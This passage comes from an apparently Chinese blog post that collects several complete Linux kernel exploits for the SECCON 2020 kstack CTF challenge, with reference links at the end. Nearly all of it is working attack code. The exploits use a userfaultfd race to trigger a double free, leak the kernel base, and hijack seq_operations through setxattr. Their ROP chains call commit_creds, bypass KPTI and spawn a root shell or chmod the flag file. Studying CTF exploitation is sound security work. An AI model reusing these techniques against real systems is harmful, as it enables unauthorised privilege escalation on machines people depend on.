    char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000, 
        PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0);

    unsigned long* rop_addr = (unsigned long*)(rop_mem+0x8000+0x10);
    int i = 0;
    rop_addr[i++] = p_rdi_r+kernel_base;
    rop_addr[i++] = 0;
    rop_addr[i++] = preapre_kernel_cred+kernel_base;
    rop_addr[i++] = mov_rdi_rax_p_rbp_r+kernel_base;
    rop_addr[i++] = 0;
    rop_addr[i++] = commit_creds+kernel_base;
    // rop_addr[i++] = swapgs+kernel_base;
    // rop_addr[i++] = 0;
    // rop_addr[i++] = iretq+kernel_base;
    rop_addr[i++] = kpti_bypass+kernel_base;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = get_shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = 0x5d000000-0x8000+0x900;
    rop_addr[i++] = user_ss;
}

int main(){
    savestatus();
    //register page fault
    fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE,       //create page used for user fault
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fault_ptr == MAP_FAILED)
    {
        puts("map err\n");
        exit(-1);
    }

    register_userfault(fault_ptr, fault_len);

    fd = open("/proc/stack", O_RDONLY);
    if(fd < 0){
        Err("Open dev");
    }

    char* buf = malloc(0x100);
    memset(buf, "a", 0x100);

    //fault_ptr = register_userfault();
    Input(buf);
    memset(buf, "b", 0x100);
    Input(buf);

    puts("[1] Doubel free:");
    Output(fault_ptr);
    puts("[1] double free ok");
    usleep(300);

    puts("[2] leak kernel_addr:");
    int fd1 = open("/proc/self/stat", O_RDONLY);
    if(fd1 < 0 ){
        Err("Alloc stat");
    }
    Input(fault_ptr+0x1000);
    printf("[2] Got kernel_base: 0x%llx\n",kernel_base);
    usleep(300);

    puts("[3] Doubel free again");
    Input(buf);
    Output(fault_ptr+0x2000);
    puts("[3] double free ok");
    usleep(300);

    //prepare data
    char* data[0x30] = { 0 };
    memset(data, '0', 0x30);
    *(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot; 

    puts("[4] Setxattr to change seq_operations->star ptr");
    puts("  [4.1] Fourth alloc seq_operations");
    victim_fd = open("/proc/self/stat", O_RDONLY);
    printf("  [4.1] alloc ok, victim fd: %d\n", victim_fd);

    setxattr("/tmp", "seccon",
           (void*)((unsigned long)data),
           0x20, XATTR_CREATE);
    puts("[4] change ok");
    usleep(300);

    puts("[5] Prepare ROP");
    prepare_ROP();

    puts("[6] Trigger vul");
    read(victim_fd, buf, 1);

    return 0;
}

exp4
userfaultfd的一种写法,很不好看

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

typedef unsigned long ulong;

#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002

#define PAGESIZE 4096
int hack;
int Open(const char *fname, int mode)
{
    int fd = open(fname, mode);
    if (fd < 0)
    {
        perror("open");
        exit(-1);
    }
    return fd;
}

int userfaultfd(int flags)
{
    return syscall(323, flags); // userfaultfd
}

int prepareUFD(void *pages, unsigned long memsize)
{
    int fd = 0;
    if ((fd = userfaultfd(O_NONBLOCK)) == -1)
    {
        fprintf(stderr, "++ userfaultfd failed: %m\n");
        exit(-1);
    }
    struct uffdio_api api = {.api = UFFD_API};
    if (ioctl(fd, UFFDIO_API, &api))
    {
        fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
        exit(-1);
    }
    if (api.api != UFFD_API)
    {
        fprintf(stderr, "++ unexepcted UFFD api version.\n");
        exit(-1);
    }
    struct uffdio_register reg = {
        .mode = UFFDIO_REGISTER_MODE_MISSING,
        .range = {
            .start = (long)pages,
            .len = memsize}};
    if (ioctl(fd, UFFDIO_REGISTER, &reg))
    {
        fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
        exit(-1);
    }
    if (reg.ioctls != UFFD_API_RANGE_IOCTLS)
    {
        fprintf(stderr, "++ unexpected UFFD ioctls.\n");
        exit(-1);
    }
    return fd;
}

void push(int fd, unsigned long value)
{
    unsigned long b = value;
    ioctl(fd, CMD_PUSH, &b);
    return;
}

unsigned long pop(int fd)
{
    unsigned long b = -1;
    ioctl(fd, CMD_POP, &b);
    return b;
}

void *hack_pop(void *pages)
{
    printf("hack_pop\n");
    int ret = ioctl(hack, CMD_PUSH, pages);
    return NULL;
}
// 0xffffffff8102ce8f // xchg eax, esp
int main(void)
{
    hack = Open("/proc/stack", O_RDWR);
    int procfds[30];
    void *pages1;
    void *pages_rop;
    ulong test = 0;
    ulong kern_base, rop_loc, map_addr;
    ulong xchg_eax_esp = 183951;
    ulong pop_rbp = 139573;
    ulong add_esp_eax = 959959;
    ulong mov_rdi_rax = 0xa296e; // mov rdi, rax ; cmp r8, rdx ; jne 0xffffffff810a295b ; ret
    ulong mov_rdi_rax2 = 2226330;
    ulong swapgs = 257828;
    ulong iretq = 120262;
    ulong pop_r8 = 0x22beb4;
    ulong pop_rdx = 0x10dc0f;
    ulong pop_rdi = 0x34505;
    ulong pop_rcx = 232180;
    ulong pop_rsp = 767347;
    ulong pop_rsi = 0x47a8e;
    ulong pop_rax = 131761;
    ulong ret = pop_rax + 1;
    ulong commit_creds = 0x69c10;
    ulong prepare_kernel_cred = 0x69e00;
    ulong chmod_internal = 0x118910;
    ulong msleep = 0x9a950;
    push(hack, 0x414141);
    push(hack, 0x424242);
    push(hack, 0x414141);
    push(hack, 0x424242);
    char *tmp = malloc(0x20);
    int i;
    memset(tmp, 'A', 0x10);

    if ((pages1 = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
    {
        fprintf(stderr, "++ mmap failed: %m\n");
        return -1;
    }

    for (i = 0; i < 20; i++)
        procfds[i] = Open("/proc/self/stat", O_RDONLY);
    for (i = 0; i < 20; i++)
        close(procfds[i]);

    int ufd1 = prepareUFD(pages1, PAGESIZE);
    int fd = ufd1;

    pthread_t thread = {0};
    printf("creating thread\n");
    if (pthread_create(&thread, NULL, hack_pop, pages1))
    {
        fprintf(stderr, "++ pthread_create failed: %m\n");
        goto cleanup_error;
    }
    // void *fakestack = malloc(0x10000);
    // clone(hack_pop, fakestack + 0x10000, CLONE_THREAD | CLONE_SIGHAND | CLONE_VM, (void*)pages1);
    printf("yess\n");

    printf("wait poll\n");
    struct pollfd evt = {.fd = fd, .events = POLLIN};

    while (poll(&evt, 1, 10) > 0)
    {
        /* unexpected poll events */
        printf("masuk\n");
        if (evt.revents & POLLERR)
        {
            fprintf(stderr, "++ POLLERR\n");
            goto cleanup_error;
        }
        else if (evt.revents & POLLHUP)
        {
            fprintf(stderr, "++ POLLHUP\n");
            goto cleanup_error;
        }
        struct uffd_msg fault_msg = {0};
        if (read(fd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg))
        {
            fprintf(stderr, "++ read failed: %m\n");
            goto cleanup_error;
        }
        char *place = (char *)fault_msg.arg.pagefault.address;
        if (fault_msg.event != UFFD_EVENT_PAGEFAULT || (place != pages1))
        {
            fprintf(stderr, "unexpected pagefault?.\n");
            goto cleanup_error;
        }
        printf("%p\n", place);
        if (place == pages1)
        {
            fprintf(stderr, "accessed %p\n", place);
            kern_base = pop(hack) - 1293952;
            printf("kern_base=%p\n", kern_base);
            xchg_eax_esp += kern_base;
            *(ulong *)tmp = xchg_eax_esp;
            for (i = 0; i < 5; i++)
                procfds[i] = Open("/proc/self/stat", O_RDONLY);
            sleep(2);
        }
        struct uffdio_copy copy = {
            .dst = (long)place,
            .src = (long)tmp,
            .len = PAGESIZE};
        if (ioctl(fd, UFFDIO_COPY, &copy))
        {
            fprintf(stderr, "++ ioctl(fd, UFFDIO_COPY, ...) failed: %m\n");
            goto cleanup_error;
        }
    }
    goto cleanup;
cleanup_error:
    return 1;
cleanup:
    rop_loc = xchg_eax_esp & 0xffffffff;
    map_addr = xchg_eax_esp & 0xfffff000;
    if ((pages_rop = mmap(map_addr, 0x40000, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
    {
        fprintf(stderr, "++ mmap failed: %m\n");
        return -1;
    }
    ulong rop = map_addr + 0x100;
    printf("rop: %p\n", rop);
    char *flag = "flag";
    ulong mfence = kern_base + 278541;
    add_esp_eax += kern_base;
    pop_rcx += kern_base;
    pop_rsp += kern_base;
    pop_rbp += kern_base;
    ret += kern_base;
    pop_rax += kern_base;
    mov_rdi_rax += kern_base;
    mov_rdi_rax2 += kern_base;
    pop_rsi += kern_base;
    pop_r8 += kern_base;
    pop_rdx += kern_base;
    pop_rdi += kern_base;
    swapgs += kern_base;
    iretq += kern_base;
    commit_creds += kern_base;
    prepare_kernel_cred += kern_base;
    chmod_internal += kern_base;
    msleep += kern_base;
    printf("pop_rsp %p\n", pop_rsp);
    printf("pop_rax %p\n", pop_rax);
    printf("swapgs %p\n", swapgs);
    printf("commit_creds %p\n", commit_creds);
    printf("prepare_kernel_cred %p\n", prepare_kernel_cred);
    printf("chmod_internal %p\n", chmod_internal);
    unsigned long *buf = (void *)rop_loc;
    i = 0;
    sleep(5);
    buf[i++] = pop_rdi;
    buf[i++] = 0;
    buf[i++] = prepare_kernel_cred;
    buf[i++] = pop_rsi;
    buf[i++] = 1;
    buf[i++] = pop_rcx;
    buf[i++] = 0;
    buf[i++] = mov_rdi_rax2;
    buf[i++] = 0x4242424242424;
    buf[i++] = commit_creds;
    buf[i++] = pop_rdi;
    buf[i++] = 0xffffff9c;
    buf[i++] = pop_rsi;
    buf[i++] = flag; // flag must be string in user address space
    buf[i++] = pop_rdx;
    buf[i++] = 0777;
    buf[i++] = chmod_internal;
    buf[i++] = pop_rdi;
    buf[i++] = 0x1000000;
    buf[i++] = msleep;
    for (i = 0; i < 5; i++)
    {
        printf("%d\n", i);
        read(procfds[i], tmp, 0x10);
    }
    return 0;
}

exp4

与exp1没啥区别

// https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "userfaultfd.h"
unsigned long addr_single_stop = 0x13be80;
unsigned long stack_pivot = 0x02cae0;
unsigned long rop_pop_rdi = 0x034505;
unsigned long rop_pop_rcx = 0x038af4;
unsigned long rop_mov_rdi_rax_pop_rbp = 0x01877f;
unsigned long rop_usermode = 0x600a4a;
unsigned long commit_creds = 0x069c10;
unsigned long prepare_kernel_cred = 0x069e00;
unsigned long kbase, kheap;
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
    asm("movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)::"memory");
}
static void win()
{
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}
int fd;
void push(void *addr)
{
    printf("[+] push = %d\n", ioctl(fd, 0x57ac0001, (unsigned long)addr));
}
void pop(void *addr)
{
    printf("[+] pop = %d\n", ioctl(fd, 0x57ac0002, (unsigned long)addr));
}
void fatal(const char *msg)
{
    perror(msg);
    exit(1);
}
int spray[0x100];
int victim;
static int page_size;
static void *fault_handler_thread(void *arg)
{
    unsigned long value;
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    int len, i;
    if (page == NULL)
    {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED)
            fatal("mmap (userfaultfd)");
    }
    uffd = (long)arg;
    for (;;)
    {
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        len = poll(&pollfd, 1, -1);
        if (len == -1)
            fatal("poll");
        printf("[+] fault_handler_thread():\n");
        printf("    poll() returns: nready = %d; "
               "POLLIN = %d; POLLERR = %d\n",
               len,
               (pollfd.revents & POLLIN) != 0,
               (pollfd.revents & POLLERR) != 0);
        len = read(uffd, &msg, sizeof(msg));
        if (len == 0)
            fatal("userfaultfd EOF");
        if (len == -1)
            fatal("read");
        if (msg.event != UFFD_EVENT_PAGEFAULT)
            fatal("msg.event");
        printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
        printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
        printf("    address = 0x%lx\n", msg.arg.pagefault.address);
        switch (fault_cnt)
        {
        case 0:
            // double free (caused by pop)
            pop(&value);
            printf("[+] popped: %016lx\n", value);
            break;
        case 1:
            // overlap Element and seq_operations (caused by push)
            pop(&value);
            printf("[+] popped: %016lx\n", value);
            kbase = value - addr_single_stop;
            break;
        case 2:
            // double free (caused by pop)
            pop(&value);
            printf("[+] popped: %016lx\n", value);
            break;
        case 3:
            // overlap seq_operations and setxattr buffer (cause by setxattr)
            victim = open("/proc/self/stat", O_RDONLY);
            printf("[+] victim fd: %d\n", victim);
            break;
        default:
            puts("ponta!");
            getchar();
            break;
        }
        // return to kernel-land
        uffdio_copy.src = (unsigned long)page;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            fatal("ioctl: UFFDIO_COPY");
        printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
        fault_cnt++;
    }
}
void setup_pagefault(void *addr, unsigned size)
{
    long uffd;
    pthread_t th;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
    // new userfaulfd
    page_size = sysconf(_SC_PAGE_SIZE);
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");
    // enabled uffd object
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl: UFFDIO_API");
    // register memory address
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("ioctl: UFFDIO_REGITER");
    // monitor page fault
    s = pthread_create(&th, NULL, fault_handler_thread, (void *)uffd);
    if (s != 0)
        fatal("pthread_create");
}
/*
 * entry point
 */
int main(void)
{
    unsigned long value;
    save_state();
    for (int i = 0; i < 0x100; i++)
    {
        spray[i] = open("/proc/self/stat", O_RDONLY);
    }
    // Allocate memory for userfaultfd
    void *pages = (void *)mmap((void *)0x77770000,
                               0x4000,
                               PROT_READ | PROT_WRITE,
                               MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                               -1, 0);
    if ((unsigned long)pages != 0x77770000)
        fatal("mmap (0x77770000)");
    // Open vulnerable driver
    fd = open("/proc/stack", O_RDONLY);
    if (fd < 0)
        fatal("/proc/stack");
    setup_pagefault(pages, 0x4000);
    // Cause double free
    value = 0xcafebabe;
    push(&value);
    pop(pages); // this command stops by userfaultfd
    usleep(300);
    // Leak kbase
    victim = open("/proc/self/stat", O_RDONLY);
    push((void *)((unsigned long)pages + 0x1000));
    usleep(300);
    printf("[+] kbase = 0x%016lx\n", kbase);
    // Cause double free again
    value = 0xdeadbeef;
    push(&value);
    pop((void *)((unsigned long)pages + 0x2000));
    usleep(300);
    // RIP control primitive
    memset((void *)((unsigned long)pages + 0x3000 - 0x20), 'A', 0x20);
    memset((void *)((unsigned long)pages + 0x3000 - 0x18), 'B', 0x20);
    memset((void *)((unsigned long)pages + 0x3000 - 0x10), 'C', 0x20);
    memset((void *)((unsigned long)pages + 0x3000 - 0x08), 'D', 0x20);
    *(unsigned long *)((unsigned long)pages + 0x3001 - 0x8) = kbase + stack_pivot;
    setxattr("/tmp", "seccon",
             (void *)((unsigned long)pages + 0x3001 - 0x20),
             0x20, XATTR_CREATE);
    usleep(300);
    // Prepare ROP chain
    unsigned long *chain = (unsigned long *)mmap((void *)0x5d000000 - 0x8000,
                                                 0x10000,
                                                 PROT_READ | PROT_WRITE,
                                                 MAP_SHARED | MAP_ANON | MAP_POPULATE,
                                                 -1, 0);
    chain += 0x8000 / sizeof(unsigned long);
    *chain++ = 0xdeadbeef;
    *chain++ = 0xcafebabe;
    *chain++ = kbase + rop_pop_rdi;
    *chain++ = 0;
    *chain++ = kbase + prepare_kernel_cred;
    *chain++ = kbase + rop_pop_rcx;
    *chain++ = 0;
    *chain++ = kbase + rop_mov_rdi_rax_pop_rbp;
    *chain++ = 0xc0bebeef;
    *chain++ = kbase + commit_creds;
    *chain++ = kbase + rop_usermode;
    *chain++ = 0;
    *chain++ = 0;
    *chain++ = (unsigned long)win;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = 0x5d000000;
    *chain++ = user_ss;
    // Ignite!
    for (int i = 0; i < 0x100; i++)
    {
        close(spray[i]);
    }
    read(victim, (void *)0xdeadbeef, 0x99990000);
    return 0;
}

exp5-

看起来蛮有条理的一个写法


// https://blog.csdn.net/qq_61670993/article/details/133550788
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
#define SINGLE_STOP 0xffffffff8113be80
#define INIT_IPC_NS 0xffffffff81c37bc0
 
size_t pop_rdi = 0xffffffff81034505; // pop rdi ; ret
size_t xchg_rdi_rax = 0xffffffff81d8df6d; // xchg rdi, rax ; ret
size_t commit_creds = 0xffffffff81069c10;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t add_rsp_xx = 0xFFFFFFFF814D51C0;
size_t mov_rdi_rax_pop = 0xffffffff8121f89a; // mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff8121f88d ; pop rbp ; ret
size_t swapgs_kpti = 0xFFFFFFFF81600A44;
 
int fd;
int seq_fd;
int tmp_seq_fd[101];
size_t kernel_offset;
 
void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}
 
void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
 
void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
 
void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
 
/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
void add(char* buf)
{
        if (ioctl(fd, 0x57AC0001, buf) < 0) err_exit("add");
}
 
void dele(char* buf)
{
        if (ioctl(fd, 0x57AC0002, buf) < 0) err_exit("dele");
}
 
 
void register_userfaultfd(void* moniter_addr, pthread_t* moniter, void* handler)
{
        int uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;
 
        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");
 
        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");
 
        uffdio_register.range.start = (unsigned long long)moniter_addr;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");
 
        if (pthread_create(moniter, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}
 
 
pthread_t leak, dfree, pwn;
char* uffd_copy_src = NULL;
void leak_handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
 
        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");
 
                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");
 
                info("Leak the kernel base in userfaultfd -- leak_handler");
                dele(&kernel_offset);
 
                hexx("single_stop", kernel_offset);
                kernel_offset -= SINGLE_STOP;
 
                hexx("kernel_offset", kernel_offset);
 
                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
        }
 
}
 
void dfree_handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
 
        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for dfree_handler");
 
                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for dfree_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for dfree_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in dfree_handler");
 
                info("Construct double free in userfaultfd -- dfree_handler");
                puts("double free for second free");
                dele(uffd_copy_src);
 
                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in dfree_handler");
        }
 
}
 
void pwn_handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
 
        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for pwn_handler");
 
                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for pwn_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for pwn_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in pwn_handler");
 
                info("PWN PWN -- pwn_handler");
                for (int i = 1; i < 101; i++) close(tmp_seq_fd[i]);
                add(uffd_copy_src);
                asm volatile(
                "mov r13, pop_rdi;"
                "mov r12, 0;"
                "mov rbp, prepare_kernel_cred;"
                "mov rbx, mov_rdi_rax_pop;"
                "mov r10, commit_creds;"
                "mov r9,  swapgs_kpti;"
                "mov rcx, 0xbbbbbbbb;"
                );
                read(seq_fd, uffd_copy_src, 8);
 
                hexx("UID", getuid());
                system("/bin/sh");
 
                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in pwn_handler");
        }
 
}
 
int main(int argc, char** argv, char** env)
{
 
        bind_core(0);
        char* uffd_buf_leak;
        char* uffd_buf_dfree;
        char* uffd_buf_pwn;
 
        hexx("page_size", sysconf(_SC_PAGE_SIZE));
 
        fd = open("/proc/stack", O_RDWR);
        if (fd < 0) err_exit("Failed to open dev file -- /proc/stack");
 
        uffd_copy_src = malloc(0x1000);
 
        for (int i = 1; i < 101; i++)
                if ((tmp_seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) err_exit("Failed to open /proc/self/stat");
 
        uffd_buf_leak = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf_leak, &leak, leak_handler);
 
        uffd_buf_dfree = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf_dfree, &dfree, dfree_handler);
 
        uffd_buf_pwn = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf_pwn+0x1000, &pwn, pwn_handler);
        // leak kernel base or kernle offset
 
        tmp_seq_fd[0] = open("/proc/self/stat", O_RDONLY);
        close(tmp_seq_fd[0]);
 
        add(uffd_buf_leak);
 
        pop_rdi += kernel_offset;
        xchg_rdi_rax += kernel_offset;
        commit_creds += kernel_offset;
        prepare_kernel_cred += kernel_offset;
        mov_rdi_rax_pop += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);
 
        // construct double free
        add("XiaozaYa");
        puts("double free for first free");
        dele(uffd_buf_dfree);
 
        // pwn by hijacking the seq_operations->start
        // just test double free
//      puts("Test double free fetch");
//      info("Frist fetch object");
//      add(uffd_copy_src);
//      info("Second fetch object");
//      add(uffd_copy_src);
 
        *(size_t*)(uffd_buf_pwn+0x1000-8) = add_rsp_xx;
        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("Failed to open /proc/self/stat to hijack seq_operations->start");
        setxattr("/exp", "hacker", uffd_buf_pwn+0x1000-8, 32, 0);
 
        return 0;
}

参考

https://blog.smallkirby.com/posts/kstack/
https://xz.aliyun.com/t/9469
https://www.cnblogs.com/pwnfeifei/p/16650533.html
https://blog.csdn.net/qq_61670993/article/details/133550788
http://brieflyx.me/2020/linux-tools/userfaultfd-internals/
https://www.anquanke.com/post/id/266898
https://www.roderickchan.cn/zh-cn/2022-04-28-seccon-2020-kstack/
https://gist.github.com/d4em0n/cd358e64ff956a772ebdb531a985ac2a
https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127

你可能感兴趣的:(pwn_cve_kernel,linux,pwn)